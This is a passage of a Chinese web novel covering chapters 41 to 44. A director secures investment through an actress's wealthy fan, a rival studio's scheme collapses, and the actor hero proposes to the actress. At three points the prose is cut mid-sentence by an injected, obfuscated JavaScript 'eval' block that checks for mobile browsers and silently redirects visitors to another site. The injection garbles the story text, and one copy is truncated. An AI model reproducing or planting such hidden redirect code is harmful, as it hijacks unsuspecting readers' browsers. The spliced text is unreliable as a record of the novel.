莫殊不知道陆泽为什么突然提起这事，他便“嗯”了一声。 陆泽笑了笑，“你这两个星期一直待我这，就不想你女朋友？” 莫殊：“我和涂韵说过了，没事的。而且每天我们两个人也有聊天。” 陆泽转头看向他，认真地说道：“我的意思是，这事反正一时半会也解决不了，要不你先回去休息会吧？你也有自己的工作要忙吧？你也有女朋友要陪吧？” 莫殊愣了一下，他不太明白，陆泽……这是什么意思？ 明明陆泽是笑着的，但是莫殊看着他，心里头却慌得很 事情刚发生的时候，陆泽还叫他过来陪着想办法；可现在，他又要将他推回去…… 莫殊不知道该说些什么，他想将揣在大衣口袋里的手拿出来，狠狠地拥抱一下陆泽或者用力地锤他一下，告诉他，这真的没什么，不要放弃。 没人投，大不了他们自己花钱拍。 他知道，这部电影不是简单的一个剧本，是陆泽熬了无数个夜晚琢磨出来的故事，是他想打破自己舒适圈的尝试,是陆泽的心血。 可是……他的手刚动了一下还没有拿出来，就感觉到手在震动。哦，原来是口袋里的手机响了。 莫殊摸出一看，是涂韵的电话。 “陆泽哥，我先接个电话，是我女朋友的。” 陆泽点了点头，眼神像是在说：我就说吧，你该回去了，你女朋友都催你了。 莫殊往旁边走了走，他深呼吸一口，按下接听键。他努力地让自己的语气听起来不那么地异常，莫殊温柔地问道：“嗯？怎么啦？韵韵？” 涂韵听起来有些着急。 “莫殊，陆导拉到投资了吗？我这有个粉丝，是……粉了我很久的富婆姐姐。她联系上我这边，说愿意投资陆导的这部电影。”涂韵顿了顿，继续说道，“但是……她说她有个条件。” 41. 第41章 投资人 挂断电话后，莫殊才意识到刚刚举着手机的手已经有些冻僵了。 他搓了搓手，让手的温度回温，那份温度从指尖到心脏，再到全身，让他连眉梢都兴奋地扬起。 莫殊有些激动，控制不住地想和陆泽分享这个消息。 他转身想喊陆泽哥，想将这件事分享给陆泽，却看见陆泽也正在打着电话。 只是陆泽的脸色难看得很。不知道是这个电话的原因，还是冬天真的太冷了，陆泽的脸是苍白的，两颊却激动地发红。 他皱着眉头，嘴巴快速地张张合合，莫殊只听见零星的几个词，像是在和电话那头吵架。 又聊了大概十几秒，陆泽提高声音，说了句“不用了”，然后直接把电话挂断。 莫殊走了过来，问道：“陆泽哥，刚刚是谁的电话？” 陆泽轻轻地叹了口气，白色的雾气在冷空气中消散。他说：“刚刚是时代娱乐的宣传总监打电话过来，说高层那边最开始的意思其实并不是想闹成这样。说要是我这边愿意公开道歉或者解释的话，他那边可以重新投资。” 陆泽挑了挑眉，“我直接拒绝了，我也是有骨气的好不好。那句话叫什么来着，‘不为五斗米折腰’？” 莫殊忍不住弯起嘴角，“是是是，陆导有骨气。我也还听说过另一句话，‘巧妇难为无米之炊’。” “嗯……”，陆泽适时地转移话题，“对了，你女朋友找你什么事？” 莫殊：“好消息。有人愿意送米过来了，但是还要求送个‘厨子’过来。我说我先问问你的意见。” 陆泽皱起眉头，“什么意思？送个厨子过来？” 莫殊：“是的，我女朋友的一个粉丝愿意投资。但是……这个粉丝希望我女朋友能参演这部电影。” 陆泽惊讶地瞪大眼睛，眼神里写满了惊喜，“什么？真的吗？有人愿意投资？” “涂韵她要是愿意来演这部电影，是我的荣幸啊！但是……”陆泽顿了顿，说道，“也不全要看我的意见，也要看涂韵本人的意见。要是涂韵不喜欢我的这个剧本的话，我不希望她为了帮我拉到这个投资，而强行调整自己的时间和行程来拍……” “我知道，我和她说过了，”莫殊拍了拍陆泽的肩膀，“要不我们约个时间，包括那个意向投资的粉丝，一起聊一下？” ** 第二天，莫殊和陆泽便飞去了沪川。 因着这件事还掺和着涂韵，所以苏小桃也不敢耽误，已经向星耀娱乐的高层汇报过了。 杜总还挺支持的，并且说了要是需要的话，星耀娱乐也可以追加投资。他早就看时代娱乐不顺眼了，仗着有点资源有点钱，到处塞自己家的“丑孩子”，都搞砸了好几部戏了。 没想到，这次竟然连陆导的电影都想搞砸！ 这次见面便约在了星耀娱乐的会议室。 莫殊一推开会议室的门，就看见涂韵坐在那里，笑着朝她摆摆手。 莫殊的呼吸一顿，快速地朝她走过去。他们已经两周多没有见面了，在看到涂韵的那一刻，一直紧绷着的神经突然就松了下来。 涂韵还没反应过来，就直接被莫殊拉进了怀里。 涂韵感受到莫殊的下巴就抵着她的发顶，周身都被熟悉的沐浴乳香气包裹着。 涂韵的耳尖瞬间红了，飞快扫了眼坐在旁边的苏小桃，小声地提醒道：“旁边还有人。” 苏小桃看着手里的手机，头也不抬地回了句，“习惯了。” 之前涂韵缠着她聊莫殊的时候还少吗！现在这丫头知道害羞了？ 而跟在莫殊后面的陆泽则转过头咳嗽了一声，妈哎，原来莫殊谈恋爱是这个样子的。长见识了。 几个人坐定后，便等着那个粉丝过来。 莫殊小声地问涂韵，这个粉丝的情况。 涂韵说道：“她的网名叫‘一根羽毛’，其实……我也没见过她真人。我只知道她是我一出道的时候就追我的大粉，但她好像一直很神秘，属于只打钱不追线下的类型。之前我组织发起的公益项目，她匿名捐了六位数以上的款项；我拍的杂志，她也直接就买好几万……” 苏小桃在一旁补充道：“这次也是她通过后援会联系的我们这边。” 几人又聊了几句时，会议室的门被“砰”地一声推开。 一位穿着剪裁利落的黑色西装、黑色长卷发的女人走了进来，她长相精致，涂着红唇，很有气场。身后还跟着一位西装革履的助理，胳膊处夹着太笔记本电脑。 女人径直走到会议桌旁边，对着涂韵露出笑容，“涂老师，抱歉来晚了，路上有点堵车。” 涂韵眨了眨眼睛，然后猛地站起，“你是——一根羽毛？” 虽然从没有见过这位低调到近乎神秘的粉丝，但涂韵就是莫名地觉得，一根羽毛就应该长这个样子，有着这样强大的气场。 站在一旁的苏小桃愣了愣，怎么感觉……有些眼熟呢？像在哪里见过？ 啊！她想起来了！那天在机场母婴室门口！就是她！ “对，是我。”方羽梅莞尔一笑，“我叫方羽梅。” 她转头看向一旁的莫殊和陆泽，“陆导，莫老师，初次见面，久仰久仰。” 陆泽笑着和方羽梅握了握手，其实内心惊了一惊。 方羽梅这个名字好耳熟…… 他想起在八九年前，电影圈突然杀出一个极具辨识度的“黑马投资人”，名字就叫做方羽梅。方羽梅颇具投资眼光，投资了好几部小成本电影，结果都撬动了市场，不满30岁就拿到了“年度新锐投资人”的称号。 她曾经力排众议投资了一部大家都看不好的，成本仅仅一千万的科幻短片，但没想到这部短片直接拿了国际科幻电影节的最佳短片奖。后续衍生出来的IP更是赚得盆满钵满，回报率超5倍以上。 只是最近几年，方羽梅好像淡出了圈子，再没听说她投资过什么电影了。 方羽梅坐定后，会议正式开始。 陆泽连上投影电源线，好不容易有人愿意投资，他还连夜做了个ppt。 没想到愿意投资的人竟然是方羽梅，陆泽之前就听闻过这位投资人的行事风格，十分地严谨。他无比地庆幸自己提前做了准备。 投影屏幕的正中央悬浮着《星轨折叠时》的概念海报——深蓝色的宇宙背景里，一艘银灰色的星舰正在冲破小行星带。 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490373|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽站在投影前，介绍着剧本大纲。 “方总，这是我们耗时两年打磨的核心设定：故事的开始是在公元2247年，我们的主角在一次任务中遭遇了‘星轨折叠’。”陆泽指尖轻点，屏幕上出现了下一张ppt，介绍着这部电影最关键的设定，“这里的折叠并不是指简单的时空穿越，而是同一个坐标多维度时空的短暂重叠。比如火星作为一个折叠点，2247年的主角可能会遇上五十年前火星上的人，两者的互动会改变两个时空的关键节点。” “除此之外，我们也希望能融入一些人文的思考。时空的重叠，本质上是情感的重叠，让孤独的个体找到彼此的连接。” 方羽梅微微点头，又问了几个视觉呈现和技术落地的问题。 毕竟科幻片最难的地方是，如何将好看的概念做出来。 陆泽介绍了一些关于特效渲染技术的东西，还列出了一堆数据。反正听起来很专业，涂韵和莫殊是没听懂，但看方羽梅的表情，像是很满意。 坐在她身边的助理，也是一直埋头敲着键盘，像是在记录什么东西。 涂韵和莫殊对视了一眼，估计能成。 幻灯片材料的最后一页是成本表，方羽梅看到大部分的预算都分配在了特效和场景搭建中。 她的视线停在“宣发预算”那一栏上，问道：“资金分配也很合理，你们的资金缺口，我这边也刚好有一笔影视投资预算，能补上。只是……你们宣发就放这么点？” 陆泽解释道：“嗯……方总，你应该之前听闻过我和时代娱乐之间出了点问题。目前圈子里大部分的宣发资源都是由时代娱乐掌控着，放再多的预算，时代娱乐那边如果不肯宣发，也推不出去。” 方羽梅笑了笑，“没事，这宣发的预算你再往上加加吧。我司最近刚收购了两家宣发公司，真论渠道资源的话，未必比时代差。” 方羽梅顿了顿，继续说道：“而且我们还有海外资源。他们时代娱乐有部戏正在谈的海外发行权，合作方刚好是我先生的叔叔家。要是时代娱乐敢再下绊子，他们的片子以后就别想再在欧洲放了。” “真……真的吗？”陆泽也没想到方羽梅不仅财大气粗，竟然还捏着宣发、海外发行等关键环节。 “真的。这个项目，我觉得很不错，能看出陆导是有在认真打磨的。”方羽梅侧目看向涂韵，原本严肃的表情顿时换成了姨母笑，“涂韵，你喜欢这个剧本吗？不知道我之前提的条件，你们觉得怎么样？” 陆泽点头应好，这可不算投资方硬塞人进来。 他是真觉得涂韵好，演技灵动，人又长得好看，和莫殊一样属于天赋型的艺人。 粉丝们都说涂韵是被上天追着喂饭的女明星，陆泽心里面是很赞同的。 只是之前他一直没有机会和涂韵合作，没想到涂韵和莫殊竟然在一起了，再加上刚好有这么一个机会，陆泽觉得要是涂韵愿意来拍的话，简直就是皆大欢喜。 陆泽心里想着，要是涂韵真的愿意的话，不能让她演林婉婉那个角色，得演女主！ 毕竟这投资也是靠着涂韵的面子，才搭上线的。 涂韵用力点头，一双眼睛亮晶晶的，“我愿意！” 42. 第42章 洞察力 会议室的光线重新调亮，在方羽梅的示意下，身旁的助理拿出了早就准备好的合同递给陆泽：“陆导，请你看一下是否有需要修改或者补充的地方。” 陆泽接过，指尖还带着点几分微颤，这两个星期连连碰壁，他没有想到这次竟然能够这么顺利。“方总，谢谢您，我晚点联系我们的法务确认一下，再给您反馈。” 方羽梅笑着点点头，“好的，陆导，等你的消息。后面每一个月给我一次这个项目的进度反馈？” “当然。” 看着不远处的陆泽和方羽梅相谈甚欢，涂韵的脑袋里还是懵懵的。 今早出门的时候，她还在担心着陆导的电影到底能不能拉到投资，担心自己的粉丝能不能补上这么大的资金缺口。 可现在，她才得知一直追随自己的粉丝竟然是霸道女总裁，哐哐哐就能砸下一个亿；开了个会后，第一次演电影的自己马上就要当上陆导的女主角了…… 天啊，这是什么人生爽文吗？ 莫殊转头见涂韵呆愣地靠在椅子上，一看就是脑袋空空。 他不自觉地扬起嘴角，觉得自己的女朋友干什么都好可爱，什么也不干也好可爱。 目前看下来，陆泽哥的事应该已经解决了，莫殊心里的大石头也终于落了地。 他伸出手，想偷偷地去牵涂韵的手。隔着桌子，应该……不会有人发现吧？嘿嘿。 可是，莫殊的手指刚碰到涂韵温热的手心的时候，方羽梅就走了过来，一屁股坐在了涂韵的另一边。 “咳咳——”，莫殊吓得赶紧装作咳嗽一声，手也顺势收回挡在了嘴的旁边。 方羽梅自然注意到了莫殊躲闪的眼光，她的嘴角控制不住地往上扬，磕……磕到了！ 他们两个竟然这么短时间都忍不住，还想偷偷牵手！ 方羽梅压低声音，小声问道：“韵韵，你和莫老师是不是在谈恋爱？” 这次不仅莫殊吓得咳嗽了，就连涂韵都吓得咳了好几声。 短短几秒，涂韵的脑海里闪过好几个念头。是要说在谈，还是没谈啊？ 虽然她和莫殊都是演员，两个人也老大不小了，可是当着粉丝的面承认恋情，也……太超过了吧？ 可要是说没谈的话，粉丝姐姐刚刚还投了部电影捧她，她要是还骗她的话，那也太坏了吧！ 莫殊则在心里想，他终于体会到了那种在高中偷摸谈恋爱，看见班主任来就撒手，听见班主任问就撒谎的那种心跳的感觉了。 见莫殊和涂韵两个人都没说话，方羽梅自然也猜到他们在纠结什么，她干脆也不卖关子了，直接拿起手机，在相册里找到那天在机场拍的背影照，递给他两看。 涂韵睁大了眼睛，“那天……在机场的那个是你？” 方羽梅点点头，“是啊。我之前一直在国外带孩子，那天刚好是我回国，没想到就碰到你和莫老师了。我心里想，这也太巧了吧，就赶紧拍下来了。” 虽然只是一个模糊的背影照，但要是熟悉莫殊和涂韵的人的话，还是能够一眼就能认出他们两个。 莫殊有些不好意思道：“那天不是故意占用母婴室的……” 方羽梅摆摆手，“没事没事，我能理解。你们肯定是有什么事要聊。” 嗯……她记得那天不是明明是魏肖和涂韵一趟飞机的吗？嘿嘿。 莫殊没注意到方羽梅一脸磕到了的表情，他凑头去看方羽梅手里的手机。他觉得这张照片虽然是偷拍的，但是拍得也太好了。 嗯……莫殊在心里想着，果然，他们两个就连背影都这么相配。 莫殊抿了抿唇，终于还是忍不住地说道：“方总，这张照片能发给我吗？” 方羽梅应道，“当然可以。不过……莫老师这是承认你和我们妹宝在谈恋爱了？” 涂韵还在纠结该怎么回答的时候，莫殊已经没有任何犹豫地点头了，“是的。” 方羽梅笑了起来，“你们放心，我不会乱说出去的。我也是你们的cp粉，殊途同归CP嘛，对吧？” 涂韵震惊。 她的大粉竟然还是……她的cp粉！ 只要你磕殊途同归，我们就是好姐妹！ 她之前都是在网络上领磕的，这还是涂韵第一次碰到活的，磕殊途同归的人。 要不是碍着自己女明星的身份，涂韵简直就想冲过去，和方羽梅深入交流一番。好好夸夸她，你是怎么这么有眼光发现这个CP的？是什么时候，因为什么事情磕上的。 方羽梅接着说道：“因为我本来追的是涂韵你嘛，而且属性又算是妈粉，肯定是希望韵韵专心搞事业的。但是看到涂韵你的微博的时候，就感到有些不对劲了。后面看综艺的时候看见莫老师看你的眼神，便觉得你们两个应该互相是有点意思，就磕上了。” “最开始的时候，还想着是不是我多想了。没想到啊！竟然是真的！” 说着说着，方羽梅也激动了起来，一把拉起涂韵和莫殊的手，让他们两个好好牵着。 她第一次做CP粉就这么有眼光，直接磕了个大的。 涂韵一愣，“什么……微博？” 她刚开始还以为方羽梅说的是那条她发的她和莫殊合照的那张微博，可是方羽梅又提到后面看综艺？这时间线不太对吧……？ 《寻味记》都是好早以前，她和莫殊刚见上面的时候的综艺了。 方羽梅打开微博翻了翻，递给涂韵，“啊，就这条啊。” “什么？这条？”涂韵看见屏幕上的图片的时候，瞳孔猛地缩了一下，原本还笑眯眯的眼睛瞬间就睁圆了，“羽毛，这条微博你是怎么看出不对劲的？” 这条微博是涂韵拿到最佳新人奖那天发的九宫格，里面杂七杂八地塞了好多照片，自拍照、颁奖礼现场照、奖杯照。涂韵百思不得其解，这九张照片里根本就没有出现过莫殊，方羽梅是怎么察觉到的？ 莫殊见涂韵这么惊讶，便也拿过手机，把九张照片翻来覆去地看了个遍，“这条微博我当时就看过了，没有看出有什么异常啊？” 方羽梅点开最后一张照片，是粉丝们做的应援花墙，“韵韵，这张照片应该不是原图，而是裁剪过的吧？” 涂韵好一会儿才轻轻“啊”了一声，她记起来了，她当时还特意把旁边莫殊的应援也拍了进去。在最后发微博的时候，她意识到这样不太好，就裁了一下。 方羽梅笑眯眯地解释道：“对呀，你平时发照片的时候，都会很注意这些细节，每张照片的尺寸滤镜都会进行统一。你看前八张照片你都是4:3的竖图，但偏偏这张照片的尺寸不是常见的尺寸，说明不是拍下来的原图，而明显是被自由裁剪过的。” “为什么要裁剪呢？说明这张照片里面有不能发出去的东西呗。” “至于是什么不能发，但你宁愿裁剪了都要发的东西呢？”方羽梅眼睛一眯，有些得意地看着涂韵和莫殊震惊的表情，接着说道：“这场线下应援，是我远程组织的。我记得我们花墙旁边刚好就是莫老师的花墙吧？” “再加上那天颁奖礼，你和莫老师的表情都有些激动和害羞，我就这样意识到不对劲咯。” 莫殊的脸上写满了不可置信，牛，太牛了。 涂韵的每条微博，他都用小号点赞评论过，那些照片他都是反复看了又看。但他从从来没有注意到这些细节，没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但“工作暂停”不代表“脱节”，这不，一复出就直接投资了陆泽的新电影嘛。 头部投资人的眼光自然是不用说的，就这么一则短短的合作消息就足以影响业内的风向。 而陆泽新的女主定为了涂韵，最兴奋的除了涂韵唯粉之外，就属CP粉了。嗯……好像又磕到了什么了…… 而咽不下一口气的陆泽的粉丝，还特意跑到林婉婉的微博底下“道喜”，感谢她看走了眼，没毁掉这部电影。 林婉婉一直抱着手机删除微博评论，但怎么删都删不完。 她怒骂一句，烦死了，怎么一夜之间风向又全变了。 看着后台一直弹出的骂她的私信对话框，林婉婉干脆直接退出微博，打电话给她爸。 那边一接通，林婉婉就嗲着嗓子喊了声：“爸！你不是答应我了吗！你说过绝不会让陆泽拉到投资的！你是不是忘了呀，他是怎么当着剧组那么多人的面，讽刺你的宝贝女儿的？” 没想到平时对她有求必应的爸爸这次也没了平时的温和，而是骂道：“你别在这给我添乱了！我现在这边也焦头烂额，你静迪姐那边也在给我闹别扭，怪我害得她推了部好电影。 方羽梅那边又捏着海外发行的渠道，其他高层现在都把锅推在我身上。要是再出点什么事，咱们时代娱乐的片子就别想在海外播了！” 方羽梅？是谁？没听说过。 林婉婉还没意识到事情的严重性，而是依旧在抱怨着，“我不管，爸！现在网上那些人都在笑我，你让我们家营销号给我都处理掉！当时妈妈去世的时候，你说过的，你要保护我一辈子的。” “我看我就是太宠你了！才害的你变成现在这幅样子！” “爸！你在说些什么……喂？爸？“林婉婉呆呆地看着手里的手机，怎么……会这样？ 她早就习惯了，无论遇到什么事，只要回头喊一声”爸“，那些坑坑洼洼的路一下子就能铺平。 可是现在……她什么都没有了。 43. 第43章 求婚了 这件事彻底了告一段落，陆泽又陷入了繁忙的工作当中，莫殊和涂韵倒是闲了下来，继续忙着之前接下来的通告。 只是两人都默契地没有提那天晚上的电话，买房子那事好像再也没有被提起过了。 其实莫殊有偷偷联系过之前的那位销售中介，那套两个人都心仪的房子还在。 他有想过偷偷地直接买下来，作为惊喜送给涂韵。 但让他没想到的是，他……竟然没有购房资格！ 这套房子虽然不在沪川内环，但是也不属于郊区，所以……还是得需要沪川户口或者连续缴满社保多少年才行，差点没让莫殊吐出一口老血。 为此，他还特意打了个电话给陈霖，语气郑重其事：“陈霖，我问你个问题。” 那头的陈霖本来还躺在家里摸鱼呢，听见莫殊认真的语气，连忙坐起，说道：“莫哥，最近电影没有什么好剧本。你之前说的要接电视剧那件事，我也一直在帮你留意着呢。刚好最近有个新的古装剧本子递了过来，我大致看了一下，剧本很不错，正在和导演组那边洽谈着。” 莫殊：“我不是要问你这个。” 陈霖满脸疑惑：“不是问工作，那是要问什么？” 莫殊将手边刚打印出来的沪川购房政策翻得哗啦哗啦地响，他问：“当时我们为什么不将工作室的地点注册在沪川？这样注册满5年，再加上纳税额度够，我就可以以公司名义在沪川买房了。” “而且，你为什么不帮我把社保交到沪川，要交到北城去？” 这……是什么鬼问题啊？ 工作室地点注册在北城，你的社保肯定交在北城啊！ 而且哥，你什么时候开始关注这些问题啊！这是你该关注的问题吗？ 陈霖头上直接冒出了三个问号。听了莫殊的话后，陈霖这才搞明白，原来莫殊想在沪川买房，但现在苦于没有购房资格。 呵，陈霖在心里差点被气笑。 他就知道，只要一碰上涂韵的事，自家老板就会变得莫名冲动没有理智。 作为艺人情侣，因为各种繁忙的行程，本就聚少离多。更别说一个人的常住地是沪川，另一个人是北城了，估计是和涂韵谈恋爱之后，莫殊想将住的地点换到沪川吧。 但让陈霖没想到的是，十年都在租房的莫殊，竟然一口气想买个房子。 陈霖出着馊主意，“涂韵不就是沪川人吗？你们两个结了婚，莫哥你应该就直接有沪川购房资格了吧？” 没成想，莫殊认真地回道：“有道理哈。我怎么没想到呢？” 陈霖：？？？ 陈霖：“不是啊，莫哥，我开玩笑的。你不要这么冲动啊！” 但留给他的只有电话挂断后的嘟嘟声。 陈霖看着手机欲哭无泪，这下，他承认他真的有点慌了。 他哥……不会要闪婚了吧？ * 夕阳将沪川的天际线染成一片温柔的橘粉色，窗外的老房子被暮色镀上了一层暖融融的金边。 涂韵坐在电脑桌前，啪啦啪啦地码字。 距离她上次杀青已经是六个月以前了，《烬染霜华》都已经播完快一个月了，涂韵看见微博评论区下的粉丝们都在抱怨着她怎么还没有进组拍戏。 但这事也急不来，涂韵听苏小桃说自从官宣她要拍《星轨折叠时》后，又有好几个本子递了过来。苏小桃正在帮她筛选合适的，好让进组时间刚好填补电影正式拍摄前的那个空挡。 想着万一进组了，就没有空更新小说了。所以涂韵基本上一空下来就在家里码字，这本小说《星光灿烂》也已经更新了三分之二。涂韵想着尽快在进组前把这本小说收尾掉，她打算在小说里写一个涂韵和莫殊接了同一部戏的情节，既能促进小说里两人的感情发展，还能圆一圆她在现实里没有办法和莫殊合作的遗憾。 涂韵刚敲完最后一段，将刚写好的文档贴到小说网站上按了“发表”时，就听见门外密码响起的声音。 她转头看去，是莫殊。 莫殊推门进来时，还带着一身收工回来的精致感。头发梳得整整齐齐的，穿着一身定制的灰色西装，黑色的长大衣外套搭在臂弯处。 “回来啦？”涂韵将电脑合上，迎上去自然地接过他的外套。她知道，今天莫殊刚好在沪川有一个杂志拍摄，所以说好了，他收工后便直接过来她家。 但触到莫殊的后背时，涂韵有些惊讶，“怎么还出汗了？摄影棚里很热吗？” 莫殊深吸了口气，他有些后悔穿了西装。这套西装是定制款，是他觉得他衣柜中最好看的衣服了，可是今天穿上，他却觉得领口变得有些紧，让他连呼吸都急促了。 他认真地看了一眼涂韵，他知道涂韵平时在家里没有工作的时候，都是素面朝天，额前的头发随意地用发带弄在脑后，免得遮挡视线。 虽然他觉得这样子的涂韵也很好看，但是……不是说嘛，女孩子总是希望被求婚的时候是最漂亮的。 陈霖特意提醒过他，还拿自己亲身经历做例子。陈霖说说他之前想给女朋友惊喜，说是朋友聚餐叫了一大堆朋友过来。结果求婚的那天，女朋友被蒙在鼓里，稀里糊涂地被求婚了。 虽然女朋友被惊喜地感动哭了，但是哭着说的第一句话是“我今天没有化妆”…… 所以莫殊吸取了“前人”的教训，特意选在了今天。 因为今天上午涂韵有一个线上直播小活动，会化妆做造型。 幸好和他想得一样，涂韵脸上的妆还没有卸。虽然她的妆容很淡，但衬得原本就白皙的皮肤透着淡淡的蜜桃粉，像是软乎乎的小桃子。眼睛叠了层淡淡的橘粉色，眼尾沾着细碎的珠光，衬得眼睛又圆又亮。 涂韵没有换睡衣，而是套了件米白色的针织长裙，踩着双白色的毛毛拖鞋。就连平时额前垂下来的不听话的碎发今天也梳得蓬蓬的，别了个粉色的发卡，衬得她更加地可爱软萌，像一个糯米丸子，让人看着心里头软乎乎的。 见莫殊半天没反应，涂韵有些疑惑地在他面前伸手摆了摆，“怎么啦？太累了吗？” 莫殊耳朵羞红了，他小声说道：“没……没有，你今天很好看。” 涂韵笑了起来，眼睛弯成了两个小小的月牙，说话的时候尾音扬起，“是吗？我平时不好看吗？” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490375|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……倒也不是。”莫殊看着面前的涂韵，喉结用力滚了滚，原本想好的开场白被这么一打岔，顿时就在喉咙里打了个转，不知道该怎么说出口。 他说：“涂韵，其实今天我没去拍摄，我去找了之前那个销售，去问了我们上次很喜欢的那个房子，就是那个有院子有露台的那个。但是没有办成……” 莫殊顿了顿，接着说道：“我没社保，也没沪川户口，销售说我没有办法买。对不起……我之前是想给你一个惊喜，想拿着合同跟你说，‘我们有自己的家了’，可我……” 涂韵愣了一下，然后踮起脚，伸手轻轻碰了碰莫殊紧锁着的眉头，安慰道：“你傻不傻呀？就这事？” “没关系呀，房子是大事，本来就急不来。反正我们现在在沪川也有地方住。” 其实买房子这件事就是那天下午两人随口一提，结果就急匆匆地去看房了，后面涂韵自己一想，都觉得太过冲动了，毕竟是几千万的东西。 但涂韵没想到莫殊一直都放在心上，她手往下移了移，轻轻地抚过莫殊泛红的眼角，“我们两个人，在一起就是家了。” 涂韵的指尖有些凉，又有些软，但像是有魔法一样。当抚过莫殊的眼睛的那一刻，莫殊就感到鼻子一酸，眼眶瞬间就热了。 莫殊认真地看着她，眼睛亮晶晶的，“我问过了，如果我们结婚，就没有问题了。” 结……结婚啊？涂韵楞在了原地。 结婚也太重大了吧，远比买房子还要重大，莫殊不可能不知道这点。 在今天之前，涂韵的人生规划里甚至都没有结婚这件事。 尽管才和莫殊在一起几个月，但她却清楚地知道，他们两个人之间是如此地熟悉。 他们有着共同的过去，那未来呢？她从来没有想过会和另外一个人共度余生，但“结婚”两个字突然被说出口后，她突然觉得好像，这样子也很不错。 他们的未来也许就是会像他们描述的那样，窝在沙发里抱着小猫看电视，度过百无聊赖的一天又一天，但谁又能说，无聊的一天不是幸福的一天呢？ 或者他们会一起出去旅游，看山川看大海看沙漠，做所有没有一起做过的事情，他们可以彼此分享同一片的天空和美景。 那一刻，涂韵想了很多，但其实也就过了几秒钟，她便点了点头。 她决定遵从内心下意识的反应。 涂韵声音有些发颤，她说道：“但我也事先说明哦，你这可不算求婚。求婚起码得单膝跪地，然后掏出戒指，深情地问，你愿意嫁给我吗？” 在没有遇见莫殊之前，在她还是个小女孩的时候，涂韵有想过她的求婚是什么样子的。一定要盛大，要很多很多的气球和装饰，她要在众多好友的见证和祝福下，接受一枚大大的布灵布灵的钻戒。 可是在遇见莫殊之后，涂韵发现，这些都不重要。她并不需要旁人的起哄和围观，她只要两个人认真且纯粹的爱意就好了。 然后涂韵惊讶地看见，莫殊慢慢地单膝跪下，从口袋里摸出暗红色的丝绒盒子。 他笑着问道：“是这样吗？” “你愿意嫁给我吗？涂韵。” 44. 第44章 去领证 涂韵惊讶地眼睛倏地睁大了，长睫毛在眼下投出的阴影颤了又颤，连呼吸都顿了半拍。 在一起的三四个月里，涂韵和莫殊从来没有谈论过婚姻、结婚、这类字眼。 但他们谈论过家和房子。 这场由房子开端，扯出来的求婚，看起来很猝不及防，就像是莫殊随意选择了特别平常的一天。 但莫殊突然的单膝下跪，让涂韵突然意识到他是有备而来。这是蓄谋已久的一场求婚。 涂韵惊讶地捂着嘴，看见莫殊把手中那只红丝绒盒子打开，那是一枚水滴形的钻戒，周围围绕着一圈碎钻，闪着细碎的光。很漂亮的戒指。 心脏在胸腔里“咚咚”得跳，像是在打鼓。涂韵的眼里泛起了水雾，然后那些雾气越来越浓越来越重，将莫殊的身影都晕染得有些模糊。 莫殊笑着仰头看她，又重复了一遍，“你愿意嫁给我吗？” “愿意，我愿意的……”涂韵用力点着头，幅度又急又快，眼里的眼泪也“啪嗒”一下掉了出来砸在了地板上。 她想伸手去扶莫殊起来，可手指刚碰到他时，却被他一把攥住了手。 掌心的温度传了过来，涂韵才发现莫殊的手心紧张得全是汗。 她低头，看着莫殊拿起那枚戒指，往她的无名指上套。 莫殊紧张地手都在发抖，第一次没有套准，戒环抵在了她的指甲上。 莫殊连忙说“对不起”，窘迫的样子惹得涂韵直接没忍住笑了起来。眼泪也跟着她的表情，掉了下来，顺着脸颊滑到下巴，滴在他的西装裤上，晕开一小片深色的印子。 第二次，莫殊终于把戒指稳稳地套在了她的手指上。 冰凉的戒指贴着涂韵温热的皮肤时，涂韵才意识到这一切都是真的。 她就这样说了我愿意，答应了眼前这个人的求婚，今天发生的一切都过于梦幻，让她觉得整个人都晕乎乎的，但她没有后悔。 天已经黑了下来，外面的灯一盏一盏地亮起，透进昏暗的客厅里。 涂韵抬起手，晃了晃无名指上的戒指，在昏暗的环境里依稀可以看见钻石闪着光。 莫殊站起身来，将涂韵紧紧第搂进怀里，他的手掌贴着她的后背，能清晰感受到她因为激动而轻轻起伏的呼吸。 莫殊轻轻地吻了涂韵的发顶一口，然后将下巴抵在她的肩窝处，呼吸间都是她发丝中的香气。莫殊的声音还在颤抖，他说：“幸好……幸好你说了我愿意。” 他其实有想过，这样的求婚是不是太过于草率，他没有那些铺满玫瑰、聚满亲友，连流程都反复彩排过的精心求婚仪式。甚至就连求婚时说的话，都显得太过于实际。 但莫殊仔细思考过后，还是觉得他和涂韵是一样的人。 有些人可能想要一场“盛大”的求婚，但总有人喜欢避开热闹、只留两人空间的安排。 莫殊想让涂韵在最放松的时刻，清楚地听见自己藏在心里面的话，遵从内心的选择，而不是迫于面子或者沉没成本而选择接受。 突然，涂韵推开莫殊，惊呼道：“我忘了拍照！我第一次被求婚哎，忘记拍照纪念了！” 她焦急地指挥着莫殊，“你快把戒指重新给我塞进盒子里，你重新给我跪下，我拍一张做留念！” “好好好……”，在涂韵的“威逼”下，莫殊重新跪下，一手举着戒指盒，另一只手握着涂韵的手，让涂韵摆拍了一张。 